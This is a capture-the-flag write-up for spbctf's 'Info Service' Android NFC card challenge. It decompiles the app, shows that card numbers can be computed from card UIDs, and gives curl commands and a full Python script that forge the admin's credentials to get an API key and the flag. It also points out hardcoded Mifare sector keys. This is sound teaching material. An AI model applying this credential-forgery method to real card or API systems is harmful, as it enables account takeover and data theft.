Info Service
Info Service
Platform: spbctf | Category: Mobile | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: api_endpoint_discovery, apk_decompilation, deterministic_credential_computation, hardcoded_key_extraction, uid_to_card_number_forgery
Summary
Task: Android NFC card management APK (Mifare Classic) with backend API; admin UID is known. Solution: decompile APK to discover deterministic card_number computation from UID, forge admin credentials to obtain API key, retrieve flag from /get_info endpoint.
Info Service — spbctf
Description
"Карты - это безопасно", - говорили они, "Все данные на одном носителе", - говорили они... Докажи им, что эти карты, черт побери, самое небезопасное, что только они могли сделать! Наша разведка узнала, что у админа с uid 5BF5CA02 есть секретная информация. Достань ее для меня!
English summary: An Android APK (mlsdmitrys_challenge.apk) implements a "Rozetkin Card" NFC (Mifare Classic) card management system. We're told the admin has UID 5BF5CA02 and holds secret information. The goal is to extract that secret.
Analysis
APK Decompilation
Decompiled the APK (com.mlsdmitry.rozetkin_ctf_challenge) using jadx with special flags for Kotlin coroutine recovery:
bash read-only • copy allowedjadx --show-bad-code --comments-level debug mlsdmitrys_challenge.apk -d decompiled/
The --show-bad-code flag is critical here — without it, jadx skips Kotlin suspend functions (which use CPS transformation), producing only 446 lines vs 1805 lines with the flag enabled.
App Architecture
The app is a Mifare Classic NFC card system communicating with a backend at http://2537ly.space:23234/. Key classes:
| Class | Purpose |
|---|---|
RozetkinCard.java | Card logic, API communication via ktor |
NfcActivity.java | NFC read/write with hardcoded Mifare keys |
AuthActivity.java | Registration and login flow |
HomeActivity.java | Displays user info via getInfo(apiKey) |
Response.java | Data class: login, api_key, error, message, additional_info |
API Endpoints
Discovered from decompiled ktor HTTP client code:
POST /register— body: form fielddata= JSON{"login":...,"card_number":<long>,"uid":"<hex>"}POST /get_api_key— same body format, returnsapi_keyGET /verify?api_key=...&login=...&error=GET /get_info?api_key=...— returnsloginandadditional_info(the flag)
Critical Vulnerability: Deterministic card_number from UID
In RozetkinCard.Companion.checkCardNumber():
java read-only • copy allowedpublic final boolean checkCardNumber(byte[] uid, long cardNumber) { int iByteValue = 0; int i = 0; for (byte b : uid) { iByteValue += (b & 0xFF) << (i << 3); // little-endian int from UID bytes i++; } return Intrinsics.areEqual("1232387" + iByteValue, String.valueOf(cardNumber)); }
The card_number is simply the string "1232387" concatenated with the little-endian 32-bit integer interpretation of the 4-byte UID. Knowing the UID is sufficient to compute the card_number — no physical card access needed.
Additional Insecurity: Hardcoded Mifare Keys
NfcActivity.java contains hardcoded keyA and keyB for all 15 sectors as byte arrays. Anyone who decompiles the APK can read/write any sector of any card used with this system — a fundamental Mifare Classic weakness compounded by poor key management.
Solution
Step 1: Compute admin's card_number from UID
python read-only • copy allowed#!/usr/bin/env python3 # Compute card_number from admin UID 5BF5CA02 uid_hex = "5BF5CA02" uid_bytes = bytes.fromhex(uid_hex) # Little-endian integer from UID bytes i_byte_value = 0 for i, b in enumerate(uid_bytes): i_byte_value += b << (i * 8) # card_number = "1232387" + str(little_endian_int) card_number = int("1232387" + str(i_byte_value)) print(f"UID bytes: {[hex(b) for b in uid_bytes]}") print(f"Little-endian int: {i_byte_value}") print(f"card_number: {card_number}") # Output: # UID bytes: ['0x5b', '0xf5', '0xca', '0x02'] # Little-endian int: 46855515 # card_number: 123238746855515
Calculation breakdown:
- Bytes:
[0x5B, 0xF5, 0xCA, 0x02] - Little-endian:
0x5B + (0xF5 << 8) + (0xCA << 16) + (0x02 << 24)=91 + 62720 + 13238272 + 33554432=46855515 - card_number =
123238746855515
Step 2: Obtain admin's API key
bash read-only • copy allowedcurl -X POST "http://2537ly.space:23234/get_api_key" \ --data-urlencode 'data={"login":"admin","card_number":123238746855515,"uid":"5bf5ca02"}' # Response: {"api_key": "<admin_api_key>", ...}
Step 3: Retrieve admin's secret information
bash read-only • copy allowedcurl "http://2537ly.space:23234/get_info?api_key=<admin_api_key>" # Response: {"additional_info": "spbctf{REDACTED}", ...}
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """Info Service solver - forge admin credentials from known UID""" import requests import json BASE_URL = "http://2537ly.space:23234" ADMIN_UID = "5bf5ca02" ADMIN_LOGIN = "admin" # Step 1: Compute card_number from UID (replicating checkCardNumber logic) uid_bytes = bytes.fromhex(ADMIN_UID) i_byte_value = 0 for i, b in enumerate(uid_bytes): i_byte_value += b << (i * 8) card_number = int("1232387" + str(i_byte_value)) print(f"[*] Computed card_number: {card_number}") # Step 2: Get admin API key payload = json.dumps({ "login": ADMIN_LOGIN, "card_number": card_number, "uid": ADMIN_UID }) resp = requests.post(f"{BASE_URL}/get_api_key", data={"data": payload}) api_key = resp.json()["api_key"] print(f"[*] Admin API key: {api_key}") # Step 3: Get admin's secret info (flag) resp = requests.get(f"{BASE_URL}/get_info", params={"api_key": api_key}) data = resp.json() print(f"[+] Flag: {data['additional_info']}")